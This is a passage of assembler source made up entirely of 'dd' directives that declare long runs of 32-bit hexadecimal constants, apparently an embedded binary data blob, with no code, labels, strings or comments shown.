0CC0E5D05h dd 0E8536DC4h, 14003812h, 0FFCD90ACh, 0D40F535Eh, 5130F8A2h dd 9A360012h, 0B6E6BDA7h, 0CA02C681h, 68C811A2h, 0D73048DAh dd 5CB89C76h, 76035A46h, 0A3DF8E55h, 336721C8h, 0EA0544B0h dd 4825C354h, 3B69F001h, 0B4325104h, 0A4003323h, 0A254DDA3h dd 11548690h, 9C001684h, 0CB2296A3h, 6E53653h, 80FE8334h dd 87005060h, 3F511479h, 0A8494491h, 32ED8B4h, 29B503ABh dd 1A9172E8h, 7B57D96Eh, 48CFE5F0h, 0ABCB081h, 0D6B81E8Ch dd 5EE243ABh, 2EE54106h, 2102324h, 0ED771D6Eh, 51787C51h dd 4B0586D6h, 0FFF7678Dh, 3BDF440h, 7F4A04Eh, 4737D944h dd 679F6008h, 12056F64h, 39A2D8EEh, 13ECC402h, 0C384C05Ah dd 0D050507Dh, 0DF802463h, 8F951100h, 5909932Ah, 0F09C40h dd 0A480328Eh, 4BFF6B3Fh, 2AE6C400h, 5D6ABC72h, 3CD11F3Bh dd 31677BDFh, 4621A0A9h, 0F0006151h, 181FD691h, 6C8108h dd 349E744Eh, 8DF364D7h, 7DD8CE50h, 6721BCB8h, 0C528145h dd 1823D22Fh, 0FC8953h, 2C026899h, 0CE84F6h, 774770B9h dd 0A09EEEE0h, 0F760D282h, 2A879EAh, 0A2F9DA34h, 847820C2h dd 5EB1020h, 0C03179D1h, 0C488CE54h, 530D798h, 0D300E50Eh dd 0F1668FDCh, 0E8AE154Eh, 0E21B2C70h, 6E341EF0h, 0F4D8042Eh dd 0E880A0A8h, 38E0CC92h, 5524CA7Bh, 0D429221Bh, 0BB1864D1h dd 86D19A0Fh, 0C0896F8Bh, 2F19559Eh, 0C94B803h, 882358CAh dd 60BA10F0h, 376DFF1Ah, 8549DC9h, 0D060D79Eh, 38925296h dd 66806701h, 0F91D8A1Ch, 781AC82Eh, 5170BF40h, 185A79BCh dd 76274E6h, 43CFA9C8h, 6C23EBC0h, 49805272h, 703101CDh dd 0A7C891F2h, 93F50A6Bh, 0E2BF01E4h, 0C001CCh, 4CC4D6ECh dd 0F40C2834h, 0A068ED71h, 5EE13700h, 0D3F3307h, 7CCD05E6h dd 0DA5445Fh, 3C914DC4h, 8C58BCC8h, 7C0B8802h, 63787249h dd 0BEF68960h, 0C541F852h, 60F7E44Ch, 1582B4E7h, 74711814h dd 58098042h, 6810F6EFh, 3CF342B3h, 609E58F4h, 7483CD18h dd 5090A4h, 0ABD28D38h, 933B58C7h, 0A2FA20C7h, 321A9C4Ah dd 8ACE659h, 0C685BB5Eh, 872933Ch, 0E85C7842h, 0C089E3CCh dd 0D65863h, 733FB3F6h, 25797A72h, 0BC65D805h, 0A42F774Bh dd 2002723h, 537E4EDCh, 0C39D33D3h, 68E9FB80h, 11E85264h dd 765BC470h, 5A23D82Eh, 0AC710F3Ah, 194B6C49h, 0C36101AFh dd 0CAC77004h, 300CECADh, 7914D5F8h, 0FAC368Bh, 0B562661h dd 5B6040C3h, 0ED74147Bh, 39804096h, 0C8D63780h, 8961448Ch dd 20804100h, 0FFA24836h, 5B70DCh, 319EEE79h, 6A6278CFh dd 0EAE2C269h, 56A004F0h, 0B7D30E40h, 4300F368h, 32DE8F20h dd 0A34594h, 0F6AB80DBh, 78A6C8EFh, 0CB665C3Ch, 770806Bh dd 2109C411h, 7A1F1014h, 0A700CDE7h, 0D1F2D6B6h, 0FED5CFA8h dd 74E04CF3h, 0FF5ED000h, 0DDAFC83Bh, 465EDC9Ch, 82DD39F7h dd 20F1AF7Eh, 0E6644413h, 44F34E03h, 0E3E9BF88h, 304CB260h dd 0D1041CC4h, 44368535h, 6548B0h, 48E2CB07h, 0E8F7CDA1h dd 4C8D9400h, 0A379D78Bh, 0EA70C2D4h, 2C514E67h, 618F979h dd 0E9E48203h, 0C0881BBCh, 18AF62C7h, 0D85B6758h, 4A0CDBEAh dd 105A188Fh, 0F8DC62ECh, 4400F4CFh, 6A56C4CDh, 1178799Ah dd 802B8090h, 0BE38D64Dh, 338B5814h, 0ACC18000h, 1FCC07A5h dd 5834909Fh, 63BC3874h, 7A7C018Ch, 2DEFF7DCh, 38E1FED6h dd 45068CDh, 285C1E85h, 20E3C8E0h, 0A48A05Dh, 20309264h dd 0F706E9h, 0A1677062h, 56A33F46h, 639F0700h, 85F2F68Ch dd 0D38005E0h, 0C04F8DC9h, 0DA68AD68h, 11B89782h, 0FE608027h dd 0E85D74DAh, 0F86C38CDh, 49206F24h, 9E040881h, 5A83940h dd 0AD5607E2h, 0BCB89410h, 370E8C27h, 2A4E13D2h, 46562077h dd 35AD015Ch, 0A65E49B4h, 1CD5C64h, 0CEEF95Fh, 0A0DB02FBh dd 120C0A9h, 7F6300BCh, 49B543D6h, 39C9426Ch, 60F0CD76h dd 932B5B75h, 0FC2CA772h, 0B50B1CA4h, 0C24445EEh, 0B618D653h dd 0BC870022h, 7621BBA6h, 14BEDFF1h, 8FE4B843h, 0DD06206Fh dd 249D1ADh, 19D58C56h, 0E2074B83h, 9F3157F6h, 0C4E01DC0h dd 7C0034E8h, 4D5A722Fh, 0D7F576Eh, 0D66FFFDAh, 0A0F860A1h dd 0FA39340h dd 486CE132h, 34445DE3h, 0C299E0CBh, 0CC6024C1h, 0C42724Bh dd 40E2E8C8h, 3BDEFFFCh, 0D8094A4h, 30BA2A74h, 3106F1F0h dd 7FE16D61h, 0BCCE099h, 0E43CD8EAh, 0D8AB491h, 97AC3468h dd 9501D743h, 92157D29h, 6C7FF039h, 9DF49817h, 54A95024h dd 0BB001FACh, 612936AFh, 296C54DCh, 0D0ECACD5h, 1E86D79Eh dd 816B0BCBh, 85D3638Ah, 0CF8CE86Dh, 3DE5AE03h, 0BACDA3D4h dd 71405974h, 0B61864h, 810B858Ch, 3A953823h, 0C344FA18h dd 6B7781h, 2CB55A12h, 9F701E2h, 0CA37D00Eh, 901E0B47h dd 0B8517390h, 0FC3009Ch, 0FE42E659h, 3914D92Ch, 13DF0944h dd 0EC3A0E5Eh, 0E80FEA23h, 800BEB3Dh, 0E23CF656h, 24C14815h dd 0D2336D16h, 645CC780h, 35C9923Fh, 8C470488h, 0A60896F6h dd 6B4BFC65h, 8F2B64A0h, 0B61B7396h, 0E0518749h, 483719D3h dd 74129039h, 0A6F4945Fh, 765EE024h, 0E2250043h, 0FF0C30D5h dd 2102A7CEh, 74F25218h, 60A0106Fh, 7301E2Fh, 0CC9461D8h dd 924CB481h, 2F988105h, 0CF9C60ECh, 0E84A3CB6h, 0CE194F18h dd 0B2802478h, 0D2F507B6h, 84F16042h, 0CCB21436h, 0ACB18D00h dd 850F5EBEh, 2C583146h, 0B849FE18h, 0CACD02B9h, 4199E9A2h dd 0D8199DB0h, 0C298350Ch, 0E0282D4Bh, 0C1C098Ah, 7180B932h dd 207133F4h, 0DA0A6C00h, 874C835Fh, 54F52CC8h, 2B65053Ch dd 4728E044h, 90146B1Dh, 8178816Fh, 0B0763D4Eh, 84A3A61Fh dd 32909254h, 9E2C21DDh, 9C59C8A3h, 91C44530h, 0EEF39144h dd 3070081h, 3FE8FC3Eh, 0F8B1ED5Bh, 631866D9h, 7E4D5500h dd 529501F5h, 0EB0C2A87h, 47212ED0h, 28DDBBB0h, 0ED009AE8h dd 77759D0Dh, 1D3B1Eh, 56C15A1Ch, 4742F10Eh, 0C74BD400h dd 3FCC2CEBh, 64020BA6h, 0FCE174D3h, 0C80C308Ch, 11F7009h dd 5C29BDh, 0E42E9D0h, 0A9DB09B1h, 4C51DA9Dh, 86BFF5D0h dd 71772B00h, 0C43A60C8h, 304B5A53h, 4590B2C0h, 8B801094h dd 0C5F72DEEh, 117752h, 691C6BFEh, 0E3D1E8C6h, 38586101h dd 0D3AFCDB6h, 2E921C3Dh, 0D65610ECh, 81AAD9C5h, 1AE55DCh dd 6E2B154Fh, 0D2A726D4h, 49A9B90Ch, 1C0093Bh, 4C1DC1E6h dd 674E1008h, 0B7F4E101h, 0FA4302C3h, 6CDE0240h, 0E010CBF3h dd 4674CC54h, 0D28A0FF8h, 98CE015h, 1C24392h, 20FACAC6h dd 80EC7233h, 27E5B2A9h, 99DF9AFDh, 0A0CAE1A4h, 60A8404Ah dd 2C2678CDh, 467C7CF4h, 0C06A0065h, 42F63A37h, 103618DBh dd 0ED6C702Dh, 0F169EB68h, 0F408232Fh, 0D7A800FFh, 48902A75h dd 0D101970Eh, 0B3806DA8h, 40C62979h, 3D8C164h, 9F23DEB2h dd 4105B946h, 5285DB54h, 2433D0A0h, 2C9C1FBAh, 0E16F1C18h dd 919095A7h, 0B4198156h, 0FC75D1E2h, 2D679000h, 0A0B0D401h dd 94009E22h, 4BD0908Dh, 48FBD4D2h, 0E74848Eh, 0E8F2F86Fh dd 5C932958h, 0C6EA6500h, 1259DFC9h, 0B8673CA0h, 0F342D981h dd 0E880C1BAh, 9A09992Fh, 40F07CBh, 78F3ED10h, 4032F4E2h dd 18A60F8Fh, 0E154455Fh, 972858D2h, 0F87EF4E2h, 5D9C3B53h dd 0F1D218D8h, 9330E49h, 0CE346E8Eh, 0E06A1018h, 0D5E17A12h dd 0FE0844E2h, 6C006680h, 0B17A4F2Dh, 44150FF1h, 0C032D9AEh dd 0CE43CD0Ch, 85A34827h, 7052C494h, 0AFA0C8B6h, 751D2382h dd 87C467BAh, 0B8F24FD0h, 404AFF12h, 0AC75150h, 94908853h dd 25CAA3Bh, 45A1479Ah, 948CA04Eh, 0BBCBF8h, 0A9D45DBDh dd 0CDA49580h, 18BCD24Ch, 99295545h, 7E4E0063h, 7CCCDEF2h dd 0F4001B89h, 8794F5D0h, 133F39ADh, 400C4519h, 0F06AC418h dd 9795C01Bh, 4E0E88A0h, 0CCA88960h, 2A381F6Bh, 26628425h dd 0E2DCB277h, 0C0543059h, 3E143C58h, 0A2E45057h, 87EF5025h dd 269549D0h, 1F1A0F2h, 1B670CC0h, 0B961C4CEh, 0C44C6E2h dd 7D43643Dh, 480D5E80h, 7880B445h, 0D29AAA2Eh, 5ADA1400h dd 5367E4EAh, 7A710046h, 0E2EC6B0h, 9CA1BC44h, 4A71832h dd 9A54DEA3h, 7192C90h, 0B61BA39Fh, 0F7A49086h, 0E23F59E9h dd 5890E2AAh, 173E054Ah, 0D58447D4h, 0CA0F3109h, 1B21D482h dd 61528003h, 0A4F7868Ch, 0F9EF5E40h, 0F300D99Bh, 5A35D82Ch dd 54A671h, 3CA32994h, 36D272E1h, 0A0F4D02Dh, 5CA51768h dd 0EB10094Fh, 0CCE6A3BAh, 4BD15091h, 0E05C7618h, 218402ECh dd 5485CB54h, 8DCD1224h, 0BC1C6C20h, 0BE008C64h, 0B648D231h dd 1C2A6Bh, 0C2D5B170h, 0C01D6802h, 57488D77h, 0F08B4F44h dd 27C259C8h, 6D3C4266h, 0A4FBE0ACh, 0F96901h, 3EC934EBh dd 0E303F8DEh, 0A40E46Dh, 0D7779107h, 57F07F81h, 168C37E6h dd 8B581D01h, 0C1DDC8E4h, 3FD0C951h, 9A80E825h, 560B55Ch dd 2CA7B81Dh, 3DF82071h, 0A4E93B79h, 7120078h, 780A58E1h dd 9DC011C8h, 16E743D9h, 4CDB036h, 257FCACh, 0F9EFF6ACh dd 0D64C783Ch, 0AECE0986h, 0DC827E7Ch, 8D013E54h, 2F2A4249h dd 0D7981028h, 5009B0C7h, 0E87B715h, 0C5B430E9h, 733C9001h dd 0A4E1BB53h, 57293C78h, 4E0AD0C0h, 85B50A86h, 3F98FE59h dd 2840F176h, 0BAF9C8E1h, 0A8D0C430h, 12640966h, 7974793Ch dd 0C2C185Ah, 0E067667Ah, 0D2000DA9h, 0F0FD444Eh, 0ECE0FCDh dd 0A5C8C619h, 5EC0ADE3h, 0AF2C9EE8h, 1C0C455Ah, 12D5511Ch dd 4DA7B19h, 0BC53E108h, 59D4109Ch, 0F00EFD01h, 82B46BC4h dd 0BB21D331h, 71106237h, 74CCACBCh, 67485846h, 0E4DB960Ch dd 59F0B788h, 0C0D8E624h, 0A4674h, 0FB7AF2C4h, 0F135AEC8h dd 23FC2F3Bh, 67E10B4Bh, 1E456068h, 2D50151Fh, 6100495Dh dd 9358F273h, 0D850BBEh, 1586A765h, 0A880316Ch, 354B4B69h dd 4252A480h, 25CC92A0h, 0D8CB419Eh, 3A4590C9h, 97C82840h dd 0C3486601h, 0BB5E8F11h, 2F4CE0CCh, 0D596C817h, 517FB1Fh dd 5FD88C05h, 78BED01Dh, 0D61CF504h, 0E0B8EB81h, 0E5E9909h dd 0F6E4A865h, 50DB4A60h, 0B9C36B12h, 0A1BC8C4Bh, 0EF469EC0h dd 0E354C184h, 0E00E8E1h, 0A98639C6h, 9708F04Fh, 0E807143Dh dd 0A943F067h, 62A0077Fh, 32EB509Eh, 4884BBB2h, 0E1ACF23Ah dd 7A0CBFEBh, 7B2C8500h, 966C048h, 0F721084Fh, 4C2657E7h dd 0EB19D361h, 17CF1989h, 64796C51h, 6752F819h, 3ECA5400h dd 6ED15EF4h, 94FD03C7h, 0E7F8C6BDh, 5840CD98h, 78846B34h dd 0F63BB004h, 2C8EECD5h, 9BC00F88h, 556F5A5h, 29C35582h dd 0EC9809BBh, 0A108E006h, 7DCA094h, 49A7FA5Ah, 0FE60106Eh dd 0B2804AD4h, 0A4D12DDBh, 0F5645C47h, 0C007C064h, 3D188FF8h dd 0FCF1E172h, 0FBF4009Eh, 7937DBBBh, 0A71D933Fh, 9500321Bh dd 6F019648h, 30D86404h, 0F5988091h, 0CE80DAAEh, 0A429F088h dd 0E21F20E8h, 9298F74Ch, 3500306Fh, 0C57E3151h, 5494DB58h dd 0EB214D05h, 740118B8h, 5F19D70Bh, 0F070A0D6h, 88926321h dd 770E4AF3h, 0C145EFC7h, 836934Dh, 8CB0003Ah, 0EC0319CDh dd 74B140D2h, 0C0D77E42h, 5AF03620h, 639C402Dh, 0D1D08713h dd 3B8460B4h, 5E016224h, 8059BDC3h, 6BBFA718h, 9DFC1382h dd 351C7837h, 4D146B40h, 1CEDCF05h, 26E7A108h, 809B11B0h dd 0D22B0C4Eh, 0A26E8C43h, 0C470021h, 7CF57Dh, 6C1F7320h dd 2894C911h, 7C248C4Ch, 0FF00A7E6h, 0EF3B3CEBh, 353D595h dd 0FC4D2C3Fh, 45B39C0Ch, 6694D0B4h, 2B0F4BE6h, 5F1F42F5h dd 89CEC9h, 71D3B044h, 0CC1250DBh, 0C34700CFh, 9E5B6E5Dh dd 3491687Ch, 0CB8B0400h, 5AF80B7h, 2613D0BBh, 7D04801Ah dd 70909A18h, 0B0B5F920h dd 9095021Ch, 1078C716h, 0D10A805Eh, 0D23B3469h, 3098F288h dd 1B07E1AAh, 15B0EF4Ch, 54797Bh, 0BE1C40D6h, 9B51DB02h dd 5B19BAE4h, 0DDC4E4CBh, 0A31F304Dh, 0D4E05C7Ah, 9A145B20h dd 4A2CF08Fh, 9EC4B88Bh, 9D6B30D7h, 8D9400C8h, 744F9CFh dd 3F097671h, 584D3781h, 288810F0h, 92E84EF4h, 29CCE109h dd 349EB0C4h, 7DEB4656h, 0F1006AFCh, 663CDAF8h, 50C321D5h dd 34C411h, 0E9B96E95h, 320D088h, 6D4ADB00h, 18C9E71Ah dd 146DFF4Bh, 0CB79550Bh, 72C4D820h, 5F014E04h, 4357AFE1h dd 0B9A46888h, 0E0270824h, 91B08F05h, 7F23C801h, 0D833FC7Bh dd 0E6300AA2h, 5B111E60h, 5F1381CAh, 2873DB17h, 8C5CB808h dd 2D182F00h, 0D579E3BBh, 6B7AF309h, 0C24B02F4h, 407D2BD5h dd 5F3A515h, 0B7793E49h, 24E4E8F8h, 4F00186Ch, 8C9CE8C9h dd 0D8D40F72h, 3A8BDB9Eh, 0E6005C3Dh, 118D766Dh, 81CB1353h dd 803CF447h, 896588h, 0B049A1A0h, 8396FA78h, 18F3D3Ch dd 0AFC83291h, 0AA709C01h, 0C43400A7h, 38E06B3Ch, 0B9D9951h dd 70F8DB50h, 300742Bh, 5E431223h, 6F87BAh, 0D105F62h dd 9B6ADE78h, 60116C9Ch, 39810849h, 0F42445D7h, 59DC4F9Ah dd 34D04413h, 6708ADh, 50215F06h, 0EAD9523Fh, 0E9857500h dd 0E26B3018h, 412D4E17h, 0FD5EBF28h, 62A0245Ah, 503BC05Ah dd 2C04370h, 0BB4368FAh, 0ECB08193h, 0C478B5B9h, 8CC143Dh dd 0D64351FCh, 5E81FA00h, 0A66D0E9Fh, 992DDA01h, 0B225D234h dd 5F4F608Bh, 11799059h, 2A773B18h, 8364FA2Ch, 5A826D00h dd 0B350F6F4h, 93441684h, 0CFC8F59Ch, 57711A13h, 6E14B4F8h dd 706701h, 18C06CE1h, 3CE45A5h, 21AA3B6h, 0A9F07C24h dd 4A250E81h, 60ACCD77h, 0B31A2572h, 3189DE05h, 5CB2E114h dd 0E6811500h, 0E2DFECF8h, 3F5D0700h, 0B555A595h, 2309004h dd 75C19EBFh, 0A845804Ch, 194DDBE2h, 4B588798h, 0C5C72B81h dd 41135272h, 14264AD0h, 91969402h, 64D9F465h, 968C2660h dd 5D2F006Ah, 0B17A18C2h, 9F19A1E4h, 0FF71DCCEh, 0DE8C447Eh dd 7411C03Ch, 1C76E065h, 52EF2809h, 76000CEh, 98AFBDE9h dd 5E4C9410h, 0B00F746h, 325D22FBh, 40958719h, 2060CEACh dd 0FF13F46Bh, 98E4C668h, 94A98AEh, 904A543Dh, 167080FBh dd 10EF3FCFh, 0AF5A00F0h, 0C08C82FAh, 0CBBD597h, 4FE973Ah dd 1A88CC49h, 11741744h, 8E2480F4h, 0C435403Bh, 0E2EA858h dd 981D46ECh, 80649870h, 9B9154ABh, 6C163F2Ch, 8FE85799h dd 0C0538830h, 0F50950B1h, 0C28F550Fh, 0E16747B6h, 0FD872808h dd 0B1F49331h, 0CBD83FD6h, 0A2F73D80h, 2758C566h, 8C058D4Ah dd 0AC958B69h, 25E3D8D3h, 0C4237289h, 90DFC3E2h, 176CE39h dd 69AA2313h, 0ECF34C56h, 0C4E10B1h, 0D2840487h, 0AB064B21h dd 7770CC02h, 8CB804EEh, 0EF06D9C4h, 772E08Bh, 23F60041h dd 0AA7FBE4Fh, 9B39CFC3h, 0A02801CAh, 0DF684CF1h, 0E189A4h dd 0D7C9B0E3h, 4195F381h, 16EC99BCh, 0A9950445h, 0B8EE4EF1h dd 434BB858h, 0C4310BD6h, 4104856h, 44362FDAh, 0F86C4CE0h dd 0F1A15A02h, 670ADBA4h, 4DF842A4h, 0D4DC18h, 0D64793CDh dd 562EBAC6h, 54686962h, 0F4450034h, 1F9DBFEFh, 809E116Ch dd 1DAEF73Ch, 0F5BE0490h, 0B999E1D6h, 0AB0B8A4h, 50BA7D4Fh dd 0D588094h, 48986C53h, 7304A900h, 0AF5FD892h, 0E410211h dd 0EF676043h, 0A8058FCh, 36DBA285h, 875B40ACh, 0C8C69F00h dd 0C43C90A7h, 0D771C05Eh, 8675E06Ah, 0F21872E5h, 36263066h dd 8E53DA38h, 62E15B65h, 0DEEEA445h, 8212DED0h, 6004FCF3h dd 0FF04FA27h, 42EB4565h, 0F054A80Ch, 0C3484B68h, 2100E8B4h dd 978C5277h, 1CBAA70h, 994E2CA7h, 0ED40CD84h, 0A708634Bh dd 0D430C004h, 0B82A4685h, 0B102A43Eh, 0A74F1756h, 83C8E33Ch dd 0EB312E68h, 507540C4h, 979D7C99h, 0D64B8840h, 0F6671E62h dd 19CA80B8h, 0FCC6D2D0h, 95EECD3Bh, 4EB0643Dh, 48C1C0DAh dd 7857213Eh, 73905C4h, 0FE80400Dh, 1349F4Eh, 0A6AECEFDh dd 6F32E9E8h, 382E2C34h, 9D1D5923h, 6AD36902h, 4E4DEABh dd 0BCB649E3h, 0B8E8D410h, 4E430Fh, 0E679AB53h, 4D58C1Ah dd 0FD5EE257h, 8114BC4Eh, 0C80A6877h, 2B1CEC0h, 0E0F78D02h dd 5ED652h, 7D096059h, 539A8B8h, 5B70CD6Ch, 254CB8F8h dd 0F284819h, 270C92D9h, 5CEA356Dh, 4D61854h, 2B653620h dd 3041ABD8h, 0D95079E3h, 0EBE84468h, 5463008Ch, 923F5017h dd 0B490D8A2h, 78E1C544h, 4C6C795Eh, 3A4B14D6h, 4E1010C0h dd 3EF881DEh, 20E86779h, 8EB74838h, 0CA01B174h, 0CCDC9EC5h dd 0E89C417Ah, 78226F0Ch, 25987188h, 944094EDh, 26DB81F1h dd 8283A6Fh, 0F5085BCBh, 3BA68192h, 7161EF7Fh, 0E2D98538h dd 0E80653AFh, 44318D3Fh, 950C15EAh, 50D2C5D9h, 1701F79Bh dd 0D95C5671h, 82DB20C8h, 7D379D1h, 0A4DFCCC0h, 4B7FD43Ah dd 9941CC8Ch, 0BFEA784Ch, 0BBE10386h, 0C67ECDB2h, 3A80BCA5h dd 0F0C702E0h, 11F88B14h, 0FF260B2Fh, 0A023470Ch, 0F8E0EEFh dd 57412801h, 9BA6F96Ch, 127BC2C0h, 0B0EBE999h, 47009A34h dd 2E440F6Bh, 919BF0D6h, 4DF8D00Ch, 1B7E0086h, 0AAF182DCh dd 3603A575h, 0C8CDA0F0h, 48869290h, 1D7BAA4h, 0EA9456D0h dd 2567F78Ch, 98203E50h, 1789F9h, 6C1845B3h, 0B5EED450h dd 660BC80Bh, 0C008ED4Eh, 647513AAh, 0CE8F0500h, 2721D414h dd 94A3B74Ch, 0AD95DCEDh, 779AC18h, 0C9A8697Eh, 80709135h dd 0E82420A7h, 88ACCC83h, 5BE0A846h, 8D0051ABh, 9ACC4010h dd 5AC741BCh, 4B383EE6h, 932D98B6h, 2894BCE4h, 6B0D00DCh dd 7E3B72C9h, 0D106207Dh, 0E5CDE16Ch, 0A0CB0489h, 0E8899358h dd 85CC3F80h, 0AD60ECAAh, 59E8B0A8h, 0E83F018Ch, 56673515h dd 0B0082FE5h, 9FDB06FDh, 0BF0BA13Ch, 329147h, 0F30E9ED8h dd 28890E3Fh, 73405199h, 36186CE2h, 0C430315Fh, 0BAECCB4Fh dd 0DC809E04h, 3970E700h, 2D658C3Ch, 75890090h, 0D4C01CA0h dd 60BC25D9h, 54F04601h, 687C8DD3h, 3B39C607h, 5EEF1350h dd 86BFC9D1h, 0E2EA9818h, 1C8CA594h, 806F4113h, 6090D2F6h dd 0FC01A278h, 0DA336401h, 40ADA1EDh, 159798C4h, 8065914Ch dd 0D50633E2h, 451A12D4h, 0D474594Fh, 0D3888070h, 648052E1h dd 95673EFh, 0EEC27B4Ah, 0D51DCC71h, 98D11796h, 0D47D7496h dd 8A61C0ADh, 8CF7AA09h, 91984844h, 9D0C0079h, 0DEB0CA2Ch dd 3C0E0ECDh, 6025F5A4h, 9F58D2FFh, 6FA281F6h, 0D0E2C012h dd 983359F2h, 12CAC6CFh, 4433150Dh, 0B43B9E60h, 0CE3C1D9Ch dd 4227817Eh, 193E99E8h, 2D53E840h, 0CFA80334h, 0EB596301h dd 8089305Bh, 7C15F402h, 0D67F84A8h, 5C74E4F5h, 93CB6900h dd 1C37D17h, 0F9796B6Dh, 0E1C0C86Dh, 5C554A15h, 4F1DA80Ah dd 66DE406Dh, 0CEE2B2DDh, 430C9099h, 1F694Ah, 6FC1A836h dd 70DEA7B0h, 0D74D3000h, 5CD5A287h, 0ACA9B79Ah, 7259A87Bh dd 5020ABC5h, 64A09D3Bh, 89B6CF8Dh, 80F1D112h, 0D825F8E9h dd 0AE4BC65h, 0DB731860h, 0D467AF18h, 0B42839h, 0DF29BB37h dd 3F834660h, 0D85B9C00h, 0DD80FBA2h, 803D4BB9h, 0DFAB9900h dd 470BECB9h, 0D960D9ECh, 791861h, 0B2778801h, 0A74A3943h dd 9F0EDA0Fh, 0D93D4B2Bh, 0C08D012Ch, 985E4022h, 0DB8856A4h dd 0CB53137Fh, 4145279h, 0EB265DD8h, 1400646Eh, 51289406h dd 8702B39Fh, 4C3BA756h dd 124E0059h, 0E21895CEh, 9E39E380h, 0F6A72C2Ch, 0FEC04F34h dd 0B0363403h, 0A0A34A30h, 8A05B9E5h, 3A7920DCh, 0E284620Dh dd 683230F5h, 12D1478h, 0BF18EEEEh, 0B4006035h, 51024E58h dd 55CA0016h, 36DB0FB7h, 0B8CB5204h, 879C90F4h, 992A00A9h dd 20E9CFCBh, 0FB04C717h, 0AFC9F540h, 442C2AC1h, 9F172066h dd 16C4B33Fh, 30F3795Dh, 0F8C71904h, 265E0058h, 0BACC4365h dd 0C35609D8h, 7071B615h, 2ED34110h, 662394h, 8CE59D5Ch dd 0EA404B19h, 0F5F340FBh, 47C6082Dh, 0C0086E74h, 2B64F560h dd 9802976Ch, 605E1153h, 0F9465Eh, 401C25E5h, 75189BF2h dd 3F640F7Dh, 6B82CD0Dh, 8864F627h, 0BEF22A00h, 0AAE2ACFDh dd 2C18D419h, 9C52510h, 0ED8074FAh, 0B1C660C4h, 461A8592h dd 0C0D05550h, 1F7820Ch, 0D31E77FFh, 0F161F4EEh, 80DA2E81h dd 6EC007C0h, 7D143B08h, 10C426FEh, 9002934Fh, 773A5465h dd 80A0B577h, 0BE05CE51h, 0E0039A9h, 0D0D10B68h, 4A3BB2DBh dd 0B3DCB7ECh, 21AF90C3h, 208C909Ch, 45092F14h, 59A6DA6Dh dd 5CCCA4D8h, 7000446h, 0CD025DD8h, 0B000D5ACh, 48D75C3Ah dd 174FC8FCh, 0DA81C0BBh, 34C0C110h, 7C74E1CAh, 0E04425D0h dd 0FCA624D9h, 799600D6h, 819E0A62h, 56768E50h, 70D2F00Bh dd 352CA4FFh, 0F14DE882h, 0FC5AA508h, 0C08C6D9Dh, 0F6515AC5h dd 0A6C8CD01h, 482C19D3h, 6396080h, 6F9CE4F0h, 0D3F4AB95h dd 0F4AD7198h, 6504A392h, 5D7DB6BBh, 0F00C27EEh, 0A68E0C4h dd 9B6D6709h, 1D2C5245h, 1EAB7D55h, 46F08BDCh, 0ADDEAC18h dd 0A0EBC90h, 81E97E35h, 9172D13Eh, 91449ED8h, 5EF40CB8h dd 1FFE7D89h, 61465200h, 1A48E899h, 621D0024h, 3AEEF553h dd 68B8C837h, 0C6560BA0h, 1DFF39C7h, 0A302ED00h, 0C3BEF8C7h dd 0F863CB19h, 52C5A902h, 7E85AC3Ch, 0DB215E7Ch, 0A6B7964Dh dd 24ACE094h, 1F1914D6h, 0A800D841h, 7213F7A1h, 0BE95F1B1h dd 0B7C80168h, 0FA5CFC2Fh, 0CC84C053h, 0D6999400h, 0F6395872h dd 8AD20082h, 774DF75Bh, 4E0002BCh, 8E8347E9h, 18C84895h dd 4049FC7Bh, 3B008FE0h, 0D67D7726h, 0CC8D7F4Fh, 0BA21D908h dd 0FC3B9713h, 76EA3D03h, 0E91900F6h, 4F2141BDh, 790CEEE2h dd 90F71B0Ch, 0EDFA004Ah, 0CAF90E7Eh, 0D213CC72h, 0FA03E868h dd 3218ADAh, 7C3EB098h, 5018FF5Dh, 0E659EE76h, 7DE5F045h dd 4FA70089h, 2FA095C7h, 8B77AA52h, 0F67B8D1Eh, 0CD489605h dd 3B946420h, 65772333h, 0BB01EB11h, 81FB3B9Ch, 0FFF9E09Ah dd 55229818h, 0A733B1h, 0B3D69202h, 0BBCEF62Dh, 0A16C08CCh dd 2AF000Eh, 0D0BE5E4Ah, 800095CFh, 9A53A42Ah, 390AD1AEh dd 0B4D4B475h, 0ECDA0F85h, 541405DEh, 8CEAB8h, 0CAF6A896h dd 0B57AB186h, 46E9AE00h, 4C3FD4F8h, 87F6A3CCh, 8FFA5100h dd 0AE23038Ah, 0F77BF13Eh, 9E414900h, 0BB7742F9h, 74A9000Ch dd 0A829D1F8h, 2106CA99h, 632293B0h, 5A6400E1h, 893C54F2h dd 553EEE11h, 4E9D8C10h, 0DC58A2h, 58928C05h, 516F67CFh dd 98B343Ch, 2E4016E3h, 8FC6C044h, 36D5B2h, 81683E42h dd 24C0182Ch, 842651h, 0FCE1AE98h, 0DA001492h, 898B3D29h dd 314DDC1Fh, 0E080F81h, 0BC208054h, 0EA023D21h, 76A5002Dh dd 432E8729h, 5E24D283h, 2C202457h, 81E09921h, 898E3D28h dd 88061807h, 3D1320B7h, 0B91399B3h, 0D9F2E103h, 1150044Dh dd 866D3EDDh, 0AD525858h, 3D2C0258h, 3127898Ah, 0BB2180D4h dd 891B3D24h, 0AD8B00A9h, 0BC74FDE9h, 50C5655Eh, 0B840D1FFh dd 68D47353h, 0CF57CBAh, 28C9F289h, 7D0AA080h, 0F8D99655h dd 8A6AD60Fh, 6802F402h, 4595A52Fh, 60E3E428h, 8AED4Eh dd 631925Ch, 0EE4CF4E6h, 74BA7627h, 46882898h, 2A20197h dd 2C8BD6D1h, 0D88720Ch, 1A0207AAh, 0C0CF8EC4h, 1894328h dd 46168A12h, 2F00085Dh, 0A87ACC8h, 0B0480036h, 0E0D4EF52h dd 68CA5C0Dh, 0FA80C822h, 0EE47F32h, 0BCF55479h, 25138CAAh dd 0A0A8F3Dh, 0D564BCDBh, 3D1DB840h, 0FD033283h, 0E2C95834h dd 7B72C087h, 1F84A8F2h, 97060011h, 9B8F2AC5h, 80006D39h dd 737AA238h, 78B47F25h, 30E0904Eh, 0FF58514Ah, 0A0C105CDh dd 84F27553h, 92381420h, 79A4913Ch, 28818EBh, 747AF5E3h dd 0EE0E48FFh, 90DB060Ah, 24249011h, 2186A06h, 0E4FED27Bh dd 3F802463h, 98D24C76h, 5D23603Bh, 32A35A00h, 0D24D813Eh dd 0A0240339h, 0C0B050F9h, 0F1487A76h, 0A963753Ch, 0CABC75B9h dd 378C825Ch, 0FF4885DBh, 8DB41009h, 0E744203Eh, 0C0995048h dd 0D69302A8h, 5F22BB46h, 2B01300h, 487A90BAh, 0DC5A7A25h dd 2242661h, 7EA32398h, 